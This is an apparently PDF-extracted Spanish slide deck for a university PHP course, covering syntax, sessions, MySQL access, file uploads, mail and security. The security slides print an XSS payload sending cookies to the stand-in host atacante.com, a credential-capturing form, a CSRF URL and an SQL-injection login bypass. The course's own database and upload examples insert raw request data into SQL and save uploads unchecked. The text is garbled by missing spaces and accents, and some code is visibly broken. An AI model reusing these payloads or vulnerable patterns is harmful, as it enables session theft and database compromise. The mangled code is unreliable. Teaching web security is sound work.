Você está na página 1de 43

15/09/2014

Ing.CarlosDavidMontellano
Ing Carlos David Montellano Barriga

Hypertext Preprocessor
Originalmenteseconocacomo
PersonalHomePage

ProcesamientodelLadodelServidor
QueesPHP?
Ides paraPHP
Sintaxis del Lenguaje PHP
SintaxisdelLenguajePHP
ManejodeCadenas
FuncionesyLibreras
EnvidedatosmedianteGET,POST
ProgramacinOrientadaaObjetosconPHP
SesionesyCookies
AccesoaBasedeDatos
ManejodeArchivos
Seguridad
EnvideCorreos
GrficosenPHP
Frameworks enphp

15/09/2014

Cliente enva una peticin al


Servidor Web utilizando http
Servidor deriva solicitud

Servidor procesa
Solicitud y genera
dinmicamente
archivo en html

Tecleamos una
direccin URL
en el navegador
www.usfx.edu.bo

Servidor devuelve en lenguaje

html solicitada utilizando http

El navegador se encarga de
interpretar el cdigo html y
mostrar el resultado

Lenguajedeprogramacininterpretado
DesarrolladoparafuncionarenelWebypuedeser
incrustadodentrodecdigoHTML.
IngresaCdigoPHPcomosuentradaycreando
pginasWebcomosalida.

15/09/2014

LenguajeMultiplataforma
Capacidaddeconexinconmayoramanejadoresdebasede
datos. Destaca su conectividad con MySQL.
datos.DestacasuconectividadconMySQL.
Capacidaddeexpandirsupotencial(llamadosext's o
extensiones).
FcildeAprender,existeampliadocumentacin
funcionesdelsistemaestnexplicadasensusitiooficialwww.php.org

RpidaEjecucin
ServidoresPHPsonestables,fcilesdemantenerymas
y
baratos.
PHPtieneunainfinidaddelibrerasyframeworks ytodasson
gratuitas.
PHPesmssencillodeaprender.

15/09/2014

Eslibre,porloquesepresentacomounaalternativa
defcilaccesoparatodos.
PermitelastcnicasdeProgramacinOrientadaa
Objetos.

PHP
Php esunleguajeinterpretado(elservidorinterpreta
elcdigocadavezquelovaautilizar)locualafectaa
surendimiento.
Php dependedequesucomunidadreaccionede
algunauotramaneraantelosreportesdebugs.
Velocidaddedesarrollo:.PHPesrpidosiseusa
algnframework.
Lalegibilidaddelcdigopuedeverseafectada.

15/09/2014

IDES
IDEs(Integrated Development Environment)=EntornosdeDesarrollo
Integrados
PDT,plugin Eclipse:GPL (Sun).
NetBeans:(instalarplugin
NetBeans: (instalar plugin paraphp)libre,paralinux
para php) libre para linux ywindows.
y windows
Zend Studio:Comercial (Zend).
Komodo IDE:Komodo Edit,libreygratuito,elIDEeslicenciacomercial
(Mozilla).
NuSphere PhpED:Comercial,paralinux ywindows.
Quanta:GPLygratuito,paraGNU/linux conQT.
Bluefish:GPLygratuito,paraGNU/linux conGTK.
phpDesigner:ComercialyFreeware,paralinux ywindows.
RapidPHP:Comercial,parawindows.
Dream weber:Adobe

Dokuwiki
Drupal
Facebook
Joomla
MediaWiki
Moodle
Phorum
phpMyAdmin
PHPNuke
phpPgAdmin
PhpWiki

PmWiki
Zikula (anteriormente
llamadoPostNuke)
Smarty
SPIP
SugarCRM
vBulletin
WordPress
Xaraya
X
Xoops
Joomla
MODx
SMF

15/09/2014

<html>
<head>
<title>EjemplodePHP</title>
</head>

primer.php

<body>
PartedeHTMLnormal.
<BR><BR>
<?php
echo"PartedePHP<br>";

EtiquetaparacodigoPHP

for($i=0;$i<10;$i++)
{
echo"Linea ".$i."<br>";
$
}
?>
</body>
</html>

Todaslasvariablescomienzanconelsmbolodeldlar$
Noesnecesariodefinirunavariableantesdeusarla.
Tampocotienentipos,esdecirqueunamismavariablepuede
contenerunnmeroyluegopuedecontenercaracteres.
variables.php

<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
$a = 1;
$a=1;
$b=3.34;
$c="HolaMundo";
echo$a,"<br>",$b,"<br>",$c;
?>
</body>
</html>

15/09/2014

$nombrematriz =array();
Esposibleasignarsusvalores
$vocales = array ('a','e','i','o','u');
Luegoparaacceder
$vocales[2]='i';
echo$vocales[1];
$
[ ];
echo$vocales[3];

//Comentartexto
/* Comentartextodemuchaslineas */
# Comentartexto

15/09/2014

Operadores Aritmticos

Operadores Relacionales

Operadores Lgicos

Operadores de Asignacin
Operador

if (<condicion 1>)
{ <declaracion 1>; }
Else
{ <declaracion 2>; }
mayor.php

<html>
<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
$a=8;
$b=3;
if ($a<$b)
{
echo"aesmenorqueb";
}
else
{
echo"anoesmenorqueb";
}
?>
</body>
</html>

Descripcin

Ai
Asigna

+=

Adiciona y asigna

Resta y asigna

*=

Multiplica y asigna

/=

Divide y asigna

%=

Obtiene el resto y asigna

.=

Concatena y asigna

switch (<expresion>)
{
case <literal o tipo>: < declaraciones >;
[break;]
case <literal o tipo>: < declaraciones >;
[break;]
default: < declaraciones >;
}
casos.php
casos php

<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
$posicion ="arriba";
switch($posicion){
case"arriba": //Bloque1
echo"Lavariablecontiene";
echo"elvalorarriba";
break;
break;
case"abajo": //Bloque2
echo"Lavariablecontiene";
echo"elvalorabajo";
break;
default: //Bloque3
echo"Lavariablecontieneotrovalor";
echo"distintodearribayabajo";
}
?>
</body>
</html>

15/09/2014

for (<inicializacion>;<condicion>;<incremento>)
{
<declaraciones>;
}

while (<condicion>)
{
< declaraciones >;
}

mientras.php

numeros.php

<html>
<head>
<title>EjemplodePHP</title>
<title>Ejemplo de PHP</title>
</head>
<body>
Inicio<BR>
<?php
$i=0;
while ($i<10)
{
echo"Elvalordeies",$i,"<br>";
$i++;
}
?>
Fi l BR
Final<BR>
</body>
</html>

<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
Inicio<BR>
<?php
for($i=0;$i<10;$i++)
{
echo"Elvalordeies",$i,"<br>";
}
?>
Final<BR>
</body>
</html>

foreach (<array> as [<valor> |<key> => <valor>])


{
<declaraciones>;
[break];
[continue];
}
vocales.php
<?

/* Creo un array */
$las_vocales = array ('a','e','i','o','u');
/* Recorro el array utilizando foreach */
foreach ($las_vocales as $elem) {
echo $elem.'<br>';
}
print '<br>';
/* Es equivalente a realizar */
for ($i=0;$i<count($las_vocales);$i++) {
echo $las_vocales[$i].'<br>';
}

<?

vocales2.php
/* Creo un array */
$las_vocales = array ('a','e','i','o','u');
/* Recorro el array utilizando foreach */
foreach ($las_vocales as $indice=> $elem)
{
echo $elem.' en el indice: '.$indice.'<br>';
}
?>

?>

15/09/2014

Hastaahorahemosusadolainstruccinechopararealizarsalidaapantalla,estainstruccines
bastantelimitadayaquenonospermiteformatearlasalida.Enestapginaveremosla
instruccinprintf quenosdamuchamspotencia
salidas.php

<html>
h l
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
$var="texto";
$num=3;
printf("Puedefcimente intercalar<b>%s</b>connmeros
<b>%d</b><br>",$var,$num);
printf("<TABLEBORDER=1CELLPADDING=20>");
for ($i=0;$i<10;$i++)
{
printf("<tr><td>%10.d</td></tr>",$i);
}
printf("</table>");
?>
</body>
</html>

strlen(cadena).Nosdevuelveelnmerodecarcteres deuna
cadena.
explode(separador,cadena).Divideunacadenaenvarias
explode(separador cadena) Divide una cadena en varias
usandouncarcterseparador.
substr(cadena,inicio,longitud).Devuelveunasubcadena de
otra,empezandoporinicioydelongitudlongitud.
chop(cadena).Eliminalossaltosdelneaylosespaciosfinales
deunacadena.
strpos(cadena1,cadena2).Buscalacadena2dentrode
cadena1indicndonoslaposicinenlaqueseencuentra.
str_replace(cadena1,cadena2,texto).Reemplazalacadena1
porlacadena2eneltexto.

10

15/09/2014

<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
p p
echostrlen("12345"),"<br>";

cadenas.php

$palabras=explode("","Estoesunaprueba");
for($i=0;$palabras[$i];$i++)
echo$palabras[$i],"<br>";
$resultado=sprintf("8x5=%d<br>",8*5);
echo$resultado,"<br>";
echosubstr("Devuelveunasubcadena deotra",9,3),"<br><br>";
if (chop("Cadena\n\n")=="Cadena")
echo"Iguales<br><br>";
echostrpos("Buscalapalabradentrodelafrase","palabra"),"<br><br>";
echostr_replace("verde","rojo","Un pezdecolorverde,comoverdeeslahierba."),"<br>";
?>
</body>
</html>

function Nomre(parametro1,parametro2...)
{
instruccin1;
instruccin2;

return valor_de_retorno;
}
media.php
<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php
function media_aritmetica($a,$b)
{
$media=($a+$b)/2;
return $media;
}
echomedia_aritmetica(4,6),"<br>";
echomedia_aritmetica(3242,524543),"<br>";
?>
</body>
</html>

11

15/09/2014

Permitenagruparvariasfuncionesyvariablesenunmismofichero
Podemosincluirlibrerasendistintaspginasydisponerdeesasfuncionesfcilmente

pagina.php
libreria.php

<?php
function CabeceraPagina()
{
?>
<FONTSIZE="+1">Estacabeceraestarentodas
suspginas.</FONT><BR>
<hr>
<?
}
function PiePagina()
{
{
?>
<hr>
<FONTSIZE="1">Esteeselpiede
pgina.</FONT><BR>
Autor:CarlosMontellano
<?
}
?>

<html>
<head>
<title>EjemplodePHP</title>
</head>
<body>
<?php include("libreria.php")?>
<?php CabeceraPagina();?>
Pgina1
<BR><BR><BR><BR><BR>
Contenidoblalbl blalb alb<BR><BR>
mscosas...<BR><BR>
fin<BR><BR>
<?php PiePagina();?>
</body>
</html>

formulario.html

<html>
<head>
<title>EjemplodePHP</title>
j p
/
</head>
<body>
<H1>Ejemplodeprocesadode
formularios</H1>
Introduzcasunombre:
<FORMACTION=recibir.php"
METHOD="GET">
<INPUTTYPE="text"
NAME="nombre"><BR>
<INPUTTYPE="submit"VALUE="Enviar">
</FORM>
</body>
</ht l>
</html>

recibir.php
recibir php
<html>
<head>
<title>RecibirPHP</title>
</head>
<body>
<H1>Ejemplodeprocesadode
formularios</H1>
Elnombrequehaintroducidoes:<?php echo
$_GET['nombre']?>
<br>
</body>
</html>
/

12

15/09/2014

Arraysnumricos elndiceesnumrico,de0en
adelante
Ejemplodeunarrayencadena
Ej
l d
d
$ciencias=array(Fsica,Qumica,Biologa);
Ejemplodeunarrayporndice
$ciencias[0]=Fsica;
$ciencias[1]=Qumica;
$ciencias[2]=Biologa;

Ejemplo deunarrayuno tras otro


$ciencias[]=Fsica;
$ciencias[]=Qumica;
$ciencias[]=Biologa;
Paraconsultar unvalor
print $ciencias[0]
print$ciencias[0];

13

15/09/2014

A|B|C|D|E|F
G|H|I|J|K|L
$array[0][0]=A
$array[0]=array quecontienelosvaloresA|B|C|D|E|F
$array[1]=array quecontienelosvaloresG|H|I|J|K|L
$array[0][1]=B,
$array[0][2]=C,
$array[0][3]=D

rellenar.php

$columnas=7;
$filas =3;
$filas
3;
for($i=0;$i<$columnas;$i++)
{
for($j=0;$j<$filas;$j++)
{
$matriz[$i][$j]=$i*$j;
}
}

14

15/09/2014

Estructura deuna clase


class <nombre_clase>[<extends clase_base>]
{
[var |<modificadores*>][<variablesmiembrodelaclase>];
[<modificadores*>]function <funcion_nombre>([<parametros>])
{
<declaraciones >;
}
}

*Modificadores<public |private |protected>estnimplementadosenPHP5.

Accesoapropiedadesymtodosdentro
Acceso a propiedades y mtodos dentro
delamismaclase:
$this>nombrepropiedad
$this>nombremetodo

persona.php
<?php
class persona
{
var $nombre;
function set_nombre($nuevo_nombre){
$this>nombre=$nuevo_nombre;
}
function get_nombre(){
return $this>nombre;
}
}?>

Declararyusarclases
$variable=newnombre_clase ();
$
$variable>
funcion_nombre ();
()
nombre_clase ::funcion_nombre();(Llamadaesttica).
usarpersona.php

<?php include(persona.php");
$juan =newpersona();
$ricardo =newpersona;
$
p
;
$juan >set_nombre(JuanPerez");
$ricardo >set_nombre(RicardoMartinez");
echoNombre completo deJuan:".$juan>get_nombre();
echo"Nombre completo deRicardo:".$ricardo>get_nombre();
?>

15

15/09/2014

Mtodoqueseejecutaalinstanciarlaclase,para
iniciarpropiedades
<?php
class persona{
var $nombre;
function __construct($nombrepersona){
$this>nombre=$nombrepersona;
}function set_nombre($nuevonombre){
$this>nombre=$nuevonombre;
}

public

private

<?php include(persona.php");?>
</head>
<body>
<?php
$carlos =newpersona(carlos
montellano ");
echoNombre Completo:".$carlos
>get_nombre();
?>
</body>
</html>

modificadorpordefecto.SignificaquesinolocolocasseasumequeesPublico.
sololamismaclasepuedeaccederalapropiedad.

protected
sololamismaclaseylasclasesderivadasdeestaclasepuedenaccederalapropiedad

<?php
class person {
var $name;
public $height;
protected $social_insurance;
private $pinn_number;
function __construct($persons_name){
$this>name =$persons_name;
}
private function get
return $this>$pinn_number;
}
?>

16

15/09/2014

//'extends'eslapalabraclavequepermitela
herencia
class empleadoextends persona{
function __construct($nombre_empleado){
$this>set_name($nombre_empoleado);
}}

HTTPsinestado
ConexionespormediodeHTTPnomantienenun
p
estado.
Nosepuedenmantenervariablesenlaconexin.
Sehaninventadomecanismosparateneruna
especiedeestado,
cookies,quepermitenguardarunestadodelladodel
,q p
g
cliente
lassesiones,quepermitenguardarunestadodellado
delservidor.

17

15/09/2014

ServidorcuandoregresaunobjetoHTTPalclientepuede
enviartambinunpaquetedeinformacindeestadoqueel
clientevaaalmacenardemanerapersistente.
cliente va a almacenar de manera persistente
IncluidoconeseestadoseencuentraunrangodeURLs para
loscualeseseestadoesvlido.
CualquiersolicitudHTTPfuturahechaporelclientequecaiga
dentrodetalrangovaaincluirunatransmisindelvalor
actualdelobjetodesdeelclientealservidor.

Funcinsetcookie defineunacookieparaserenviadaconla
informacindeencabezado.
Debeserenviadaantesdecualquierotrainformacinde
Debe ser enviada antes de cualquier otra informacin de
encabezado.
Sintaxis:
int setcookie (string name,string value,int expire,string path,string
domain,int secure)
cookie.php

<?php
(
, p
,
()
); /
p
/
setcookie("CookieDePrueba","prueba",time()+3600);/*expiraen1hora*/
setcookie("arreglo[tres]","cookietres",time()+3600);
setcookie("arreglo[dos]","cookiedos",time()+3600);
setcookie("arreglo[uno]","cookieuno",time()+3600);
if (isset($_COOKIE["CookieDePrueba"])){
echo$_COOKIE[CookieDePrueba];
}
echo"<br>";
if (isset($_COOKIE[arreglo])){
foreach ($_COOKIE[arreglo]as$name=>$value)
{
echo"$name ==$value<br>\n";
}
}
?>

18

15/09/2014

PHPtieneapoyoparaconservarestadoconsesiones.
Sesionesmantienenvariablesenelladodelservidor.
Acadavisitantequeaccedealapginaseleasigna
unidentificadornico,llamado"session id"
(identificadordesesin).
stesealmacenaenunacookieporpartedelusuario
osepropagaenlaURL(mtodoGET).
Permiteregistrarunnmeroarbitrariodevariables
queseconservarnenlassiguientessolicitudes.

pagina.php

<?php session_start();?>

Seha
S h
enviado
sessio
n_id

SI

recreanlasvariablesque
sehabanguardado
anteriormente

NO
Creasession id

19

15/09/2014

sesion.php

<?php session_start();
if (isset($_SESSION[
contador ])){{
(isset($ SESSION['contador']))
$_SESSION['contador']++;
}
else {
$_SESSION['contador']=0;
}
?>

borrarunavariablecon$_SESSION:
borrarsesion.php
borrarsesion php

<?php
session_start();
unset($_SESSION['contador'
]);
session_destroy();
?>

20

15/09/2014

PHP permite el acceso a las siguientes bases de


datos:

dbase
dbm
db++
FrontBase
filePro
Informix
InterBase
IngresII
SQLServer

mSQL
Mysql
Oracle
OvrimosSQLServer
P t SQL
PostgreSQL
SESAM
Sybase

PHPtambintieneinterfacesabstractas:
DBA(DataBase Abstraction)
DBX
ODBC
Pgina
PHP

orden SQL
Base de
datos
resultado

21

15/09/2014

MySQL esunsistemadebasesdedatosdesarrollado
originalmenteporMySQL AB.Actualmentela
controlaORACLE
l
ElsistemadebasesdedatossedabajolicenciaGPL
queesunalicenciadesoftwarelibreosevendebajo
unalicenciacomercial.

CaractersticasdeMySQL

Modelorelacional,multiusuario

Tiposdedatos

Numricos

tinyint,smallint,mediumint,int,integer,bigint
decimal,float,numeric

Fechayhora

Cadena

date,time,datetime,year,timestamp
char,varchar
tinytext,text,mediumtext,longtext
tinyblob,blob,mediumblob,longblob
enum set
enum,set

Debeelegirseadecuadamenteeltipoyeltamaodecadacampo

22

15/09/2014

Operadores

Aritmticos

Comparacin

Lgicos

+,,*,/
=,!=,<=,<,>=,>,ISNULL,ISNOTNULL
not (!),and(&&),or (||),xor

Funciones

Funcionesdecadena
Funcionesdecomparacindecadenas
Funcionesnumricas
Funcionesdefechayhora
Funcionesdeagregado

phpMyAdmin esunaherramientaparalaadministracindel
servidordebasesdedatosMySQL
Disponedeunainterfazgrficayesdelibredistribucin
Permiterealizartodotipodeoperacionessobrebasesde
datos:

crear,borrarymodificartablas
consultar,insertar,modificaryeliminardatos
definirusuariosyasignarpermisos
realizarcopiasdeseguridad
etc

Estescritaenphp
E
i
h yseejecutadesdeelnavegador
j
d d l
d
Puedeadministrarbasesdedatoslocalesyremotas

23

15/09/2014

LasfuncionesconcretasdeMySQLquerealizanestas
operaciones son:
Conectarconelservidordebasesdedatos:
mysql_connect()
Seleccionarunabasededatos:
mysql_select_db()
EnviarlainstruccinSQLalabasededatos:
mysql_query()
Obteneryprocesarlosresultados:
mysql_num_rows()ymysql_fetch_array()
Cerrarlaconexinconelservidordebasesdedatos:
mysql_close()

24

15/09/2014

servidor

usuario
password

conectarse.php

p p
<?php
$link=mysql_connect (localhost","root",")
or die(Nosepuede conectaralservidor");
echoConexinExistosa");
mysql_close ($link);
?>

Conectarse
bd.php

1
2
3
4

<?php
p p
$link=mysql_connect (localhost","root",")
or die(Nosepuede conectaralservidor");
mysql_selectdb(dbagenda);

Seleccionar bd
$result=mysql_query ("SELECT*Agenda")
ordie(Consulta invlida!");
mysql_close ($link);
?>

Consulta

Cerrar conexion

25

15/09/2014

listar.php

<?php
include('conexion.php');
$sql ="select ID,Nombres,Direccion,Telefono,Email,Celular,IdProfesion from agenda";
$consulta=mysql_query($sql,$link);
?>
<table width="100%"border="1">
<tr>
<td>Nombres</td>
<td>Direccion</td>
<td>Telefono</td>
<td>Email</td>
<td>Celular</td>
</tr>
<?php
while ($fila=mysql_fetch_array($consulta)){
?>
<tr>
<td><?php echo$fila['Nombres']?></td>
<td><?php echo$fila['Direccion']?></td>
<td><?php echo$fila['Telefono']?></td>
<td><?php echo$fila['Email']?></td>
<td><?php echo$fila['Celular']?></td>
</tr>
<?php
}
?>
</table>

finsertar.html
<form id="form1"name="form1"method="post"
action='javascript:insertarPersona()'>
Nombres
<inputname="txtNombres"type="text"id="txtNombres"/>
<br />
Direccin<inputtype="text"name="txtDireccion"id="txtDireccion"

"
"
"
" "
"
/><br />
Telefono <inputtype="text"name="txtTelefono"id="txtTelefono"
/><br />
Email<inputtype="text"name="txtEmail"id="txtEmail"/><br />
Celular<inputtype="text"name="txtCelular"id="txtCelular"/>
<br />
insertar.php
<inputtype="submit"name="button"id="button"value="Enviar"/>
<?php
<inputtype="reset"name="button2"id="button2"value="Limpiar"
include('conexion.php');
/>
$sql ="insert into agenda(
</form>
Nombres,Direccion,Telefono,Email,Celular)
<?php
?>
values

('$_POST[txtNombres]','$_POST[txtDireccion]','$_POST[txtTe
lefono]','$_POST[txtEmail]','$_POST[txtCelular]')";
//echo$sql;
$consulta=mysql_query($sql,$link);
if (isset($consulta))
{echo"Elementoinsertadoconexito";
}
?>

26

15/09/2014

feditar.html

<?php
include('conexion.php');
$sql ="select *from agendaWHEREID=".$_GET['id'];
$consulta=mysql_query($sql,$link);
if (isset($consulta))
{
$fila=mysql_fetch_array($consulta);
}
?>
<form id="form1"name="form1"method="post"action='editar.php'>
Nombres
<inputtype="text"name="txtNombres"id="txtNombres"value="<?php echo$fila['Nombres']?>"/><br />
Direccin
<inputtype="text"name="txtDireccion"id="txtDireccion"value="<?php echo$fila['Direccion']?>"/><br />
Telefono
<inputtype="text"name="txtTelefono"id="txtTelefono"value="<?php echo$fila['Telefono']?>"/><br />
Email
<input type="text"
<inputtype
text name
name="txtEmail"
txtEmail id
id="txtEmail"
txtEmail value
value="<?php
<?php echo$fila[
echo $fila['Email']
Email ]?>
?>"/><br
/><br />
Celular
<inputtype="text"name="txtCelular"id="txtCelular"value="<?php echo$fila['Celular']?>"/><br />
Profesion
<inputtype="hidden"name="txtID"id="txtID"value="<?php echo$_GET['id'];?>"/><br />
<inputtype="submit"name="button"id="button"value="Enviar"/>
<inputtype="reset"name="button2"id="button2"value="Limpiar"/>
</form>

editar.php

<?php
include('conexion.php');
$sql ="update agendaset
Nombres='$_POST[txtNombres]',Direccion='$_
POST[txtDireccion]',Telefono='$_POST[txtTelef
ono]',Email='$_POST[txtEmail]',Celular='$_POS
T[txtCelular]'where ID=".$_POST['txtID'];
//echo$sql;
$consulta=mysql_query($sql,$link);
if (isset($consulta))
{echo"Cambiosrealizadoscon
exito";
i "
}
?>

27

15/09/2014

eliminar.php

<?php
include('conexion.php');
$id=$_GET[
id ];
$id=$ GET['id'];
$sql='delete from agendawhere ID='.$id;
$consulta=mysql_query($sql,$link);
?>
Elementoeliminadoconexito

Funcionestiles
Copiar:
copy($origen,$destino)

Renombrar:
rename($antes,$despues)

Eliminar:
unlink($archivo)

28

15/09/2014

directorio.php

<?php
$directorio="./";
$descriptor
$descriptor =opendir($directorio);
opendir($directorio);
while ($entrada=readdir($descriptor)){
if (is_dir($directorio.$entrada)){
echo"[Directorio]".$entrada."<br>;
}elseif (is_file ($directorio.$entrada)){
echo"[Fichero]".$entrada."<br>";
}
}
closedir($descriptor);
?>

fopen -> abre un archivo y le asigna un


identificador id
file handler
$id=fopen($path,$modo);
Path -> ruta completa del archivo a abrir
Modo

Significado

Slo lectura

r+

Lectura y escritura

Slo
escritura, si no existe el archivo lo crea, si existe lo trunca

w+

Lectura y escritura, si existe lo trunca, si no existe lo crea

Modo append slo escritura si no existe lo crea

a+

Modo append lectura y escritura si no existe lo crea

29

15/09/2014

Lecturadearchivos

variable=fgets(file_handler, longitud)

Lee una lnea


de texto hasta el fin de lnea
o bien hasta que se

cumpla la longitud indicada.

variable=fread(file_handler, cantidad)

Lee la cantidad de bytes indicados ignorando saltos de lnea.

Escrituradearchivos

fwrite(file_handler, variable, longitud);

Escribe la variable al file_handler.

longitud (opcional) se escribirn tantos bytes como la longitud


indicada o como la longitud de la variable,devuelve la cantidad de bytes
escritos en el archivo.

Cierre de archivos
fclose(file_handler)

Cierra un archivo abierto con fopen.

Fin de archivo
boolean = feof(file_handler);

Devuelve verdadero si no quedan ms bytes para leer en


el archivo o si se produce algn tipo de error al leer.

30

15/09/2014

escribir.php

<?php
$archivo = "miarchivo.txt";
$id = fopen($archivo, 'w+');
$cadena = "Aqu lo que queremos escribir".PHP_EOL;
fwrite($id, $cadena);
fwrite($id, "La segunda linea de lo que queremos escribir".PHP_EOL);
fwrite($id, "La tercera linea de lo que queremos escribir");
fclose($id);
?>

leer.php

<?php
header("ContentType:text/html;charset=utf8");//enviar
lacabeceraparautilizarutf
$d
$descriptor=fopen
i
f
(" i hi
("miarchivo.txt","a+");
" " ")
$linea_numero =1;
while (!feof($descriptor)){
$linea =fgets ($descriptor,4096);
echo"lneanmero:$numero_linea es:$linea","<BR>";
$linea_numero++;
}
fclose($descriptor);
?>

Muchasvecesseenviarunarchivoalservidorjuntoconla
peticinhttp
ElarchivodebeserenviadomedianteelmtodoPOST
El archivo debe ser enviado mediante el mtodo POST
Existeuntipoespecialdeinputparaestetipofile.

<inputtype=file>
ALformulariosedebeespecificarelatributopara
quetengalacapacidaddeenviararchivos
enctype="multipart/form-data"
t
" lti
t/f
d t "

31

15/09/2014

subirF.php: Fichero en php


encargado de subir el fichero al
servidor.

post: Enviaremos el fichero


por la entrada estndar.

archivo.php

<form action=subirF.php" method="post"


enctype="multipart/form-data">

multipart/form-data:Permite subir
datos y archivos en un mismo
formulario.

<input type="hidden" name="MAX_FILE_SIZE"


value="100000">
MAX_FILE_SIZE:Palabra reservada: Mxim
tamao del fichero(en bytes). Debera de comp
<b>Enviar un nuevo archivo: </b>
el servidor.
<input type="file name=nfichero >
<input type="submit" value="Enviar">
</form>
Entrada de Fichero

Unavezenelservidor,elarchivosealmacenaenundirectorio
temporal.
Lainformacindelarchivoesrecibidaenlavariable$_FILES[]
La informacin del archivo es recibida en la variable $ FILES[]
conelnombredelinput
$_FILES[nombre][name]:Nombreoriginaldelarchivodelcliente
$_FILES[nombre][tmp_name]:Nombredelarchivotemporalenel
servidor.
$_FILES[nombre][type]:Tipodearchivo
$_
$ FILES[nombre][size]:Tamaoenbytesdelarchivo.
[
][ ]
y
$_FILES[nombre][error]:Errorasociadoal archivo.

Enbaseaestainformacinsedecidequehacercon
elarchivorecibido

32

15/09/2014

subir.php

<?php
header("Content-Type:text/html;charset=utf-8");
//Informacin del Archivo
$nombre_archivo = $_FILES['nArchivo']['name'];
$tamano_archivo = $_FILES['nArchivo']['size'];
$nombre_temporal= $_FILES['nArchivo']['tmp_name'];
foreach ($_FILES["nArchivo"] as $indice => $valor)
{
echo "$indice: $valor<br>";
}
//compruebo si las caractersticas del archivo son las que deseo
if ($tamano_archivo > 100000)
{
echo "El tamao de archivo incorrecto.Tamao maximo 100 Kb mximo. ";
}
else
{
if(copy($nombre_temporal,"images/".$nombre_archivo))
echo "El archivo ha sido cargado correctamente.";
else
echo "Ocurri algn error al subir el fichero. No pudo guardarse.";
}
?>

Ficherophp.ini:
Permitirsubirficherosalservidor
Permitir subir ficheros al servidor
file_uploads =On

Seleccionamosundirectoriotemporalpara
losarchivos
upload_tmp_dir:carp_temp/

Tamaomximodelosarchivos.
Tamao mximo de los archivos
upload_max_filesize =2M

33

15/09/2014

Ungranpoderconlleva
Unagranresponsabilidad

display_errors =Off
log_errors =On
error reporting =E_ALL(reportar
error_reporting
= E ALL (reportar errores)
session.save_path=/opt/php/session
session.gc_maxlifetime=600(10minutos deinactividad)
safe_mode =On(activar si es posible)
safe_mode_gid =On(activesi es posible)

34

15/09/2014

register_globals = Off
Nunca colocar en on , porque es facil escribir codigo
inseguro
Inicializa automaticamente variables desde Get/Post/Cookie
data
URL= index.php?administrator=xyz

<?php

if (isset($administrator))
{
$ th i d = true;
$authorized
t
}
?>

Seaprovechandelaconfianzadelusuarioenlaaplicacin
ELPROBLEMA
Comonotratamoslaentradadelusuariodeningunaforma,dejamosla
Como no tratamos la entrada del usuario de ninguna forma, dejamos la
puertaabiertaaquesemuestrecualquiertipodecdigoHTMLennuestra
pgina.
formxss.php

<formaction="http://atacante.com/captura.php">Usuario:<inputtype="text"
name="usuario"/><br/>Contrasea:<inputtype="text"name="pass"/><input
type=submit/></form>
http://localhost/index.php?mensaje=<script>document.location='http://atacante.
com/captura.php?cookies='+document.cookie</script>

Pueden serpresistentes onopersistentes

35

15/09/2014

Explotalaconfianzadeunsitiowebenunusuario
LavctimadelataquelanzaunapeticinHTTPsin
saberlo,normalmenteaURLs
Querequierendeunaccesoprivilegiado.
Elescapadoevitarquetuaplicacinsirvade
vehculoparaataquesCSRFperonoevitarquelos
recibas.
<img src="http://sitio-de-compras.com/comprar.php?PHPSESSID=IS& articulos=AR&domicilio-envio=DE&...
/>

SQLinjections oinyeccindeSQL
Unusuarioutilizaalgunadelasentradas(normalmente
f
formularios)paramodificarlassentenciasSQLenla
l i )
difi l
i
l
aplicacin.
LasentradasconsistenencdigoSQLparcial,que
combinadoconelexistentedalugarauncomportamiento
nodeseado
Cmoprotegerse:escapalosparmetrosdetussentencias
SQL

36

15/09/2014

Formlogin.html
<form action=login.phpaction=POST>
usuario:<inputtype=textname=usuario/>
<br />
contrasea:<inputtype=
password name=
password />
contrasea: <input type=password
name=password
/>
<br />
<inputtype=submit/>
</form>
autenticar.php

$usuario=$_POST[usurio'];
$password =$_POST['password'];
$sql =SELECT
SELECT*FROMusuarios
FROM usuarios
WHEREusuario='{$usuario}'
ANDpassword ='{$password}';
//Continuamosconelresto
if(count($results)>0){//login }

SELECT*
FORMusuarios
FORM
i
WHEREusuario='adm'
OR1=1
ANDpassword ='contrasea'

37

15/09/2014

Sloexisteunafuncinparaenviarcorreo
electrnicodesdePHP5.
Lafuncinmail()devolverunvalortruesilosdatos
sonenviadoscorrectamente.
mail.php
<?php
$resultado=mail("carlosmontellano@gmail.com","EjemplodeAsunto","Cuerpodelmensaje");
if ($resultado){
echo "Correo
echo
Correoenviadocorrectamente
enviado correctamente";;
}else {
echo"Elcorreonohapodidoenviarse";
}
?>

maildetalle.php

<?php
$correo="luis@nccextremadura.org";
$asunto="EjemplodeAsunto";
$cuerpo="Cuerpodelmensaje";
$cabecera="From:
fernanda@\r\nbcc:pedro@nccextremadura.org\r\nContent
type:text/plain\r\nXmailer:PHP/".phpversion ();
$resultado=mail($correo,$asunto,$cuerpo,$cabecera);
if ($resultado){
echo"Correoenviadocorrectamente";
}else {
echo"Elcorreonohapodidoenviarse";
}

38

15/09/2014

PHPMailer estbasadoenprogramacinorientadaa
objetos.
Contienevariosficherosquedebenguardarseenel
directoriodePHPdedicadoalibrerasoennuestro
espaciodetrabajo.
mail.php

<?php
require_once("phpmailer/class.phpmailer.php");
$correo=newphpmailer();
//Datospersonalesdelemisor
$correo>From ="luis@nccextremadura.org";
$correo>FromName ="LuisMiguelCabezas";
$correo>Subject ="Mensajedeprueba";
$correo>Body ="Cuerpodelmensaje";
//Direccindedestino
$correo>AddAddress("zeev@php.zend.com","Zeev Suraski");
if (!$correo>Send()){
echo"Correoenviadocorrectamente";
}else {
echo"Elcorreonohapodidoenviarse";
}
?>

LalibreragrficaGDestescritaenlenguajeCy
permitecrearymanipulargrficosfcilmente.
Permiteimportaryexportargrficosdedistintotipo
(GIF,JPGyPNG)
imagensimple.php

<?php
$imagen=
imagecreatefrompng("zend.png");
header("Content Type
header("ContentType:
image/png");
imagepng($imagen);
?>

39

15/09/2014

imagen.php

<?php
if (isset($_FILES["fichero"])){
foreach($_FILES["fichero"]as$indice=>$valor)
{
echo$indice,$valor,'<br>';
}
echo"ImagenOriginal:<br>";
$fotografia =$_FILES["fichero"]["tmp_name"];
copy($fotografia,$_FILES["fichero"]["name"]);
$foto_copia =
$_FILES["fichero"]["name"]."&modo=original";
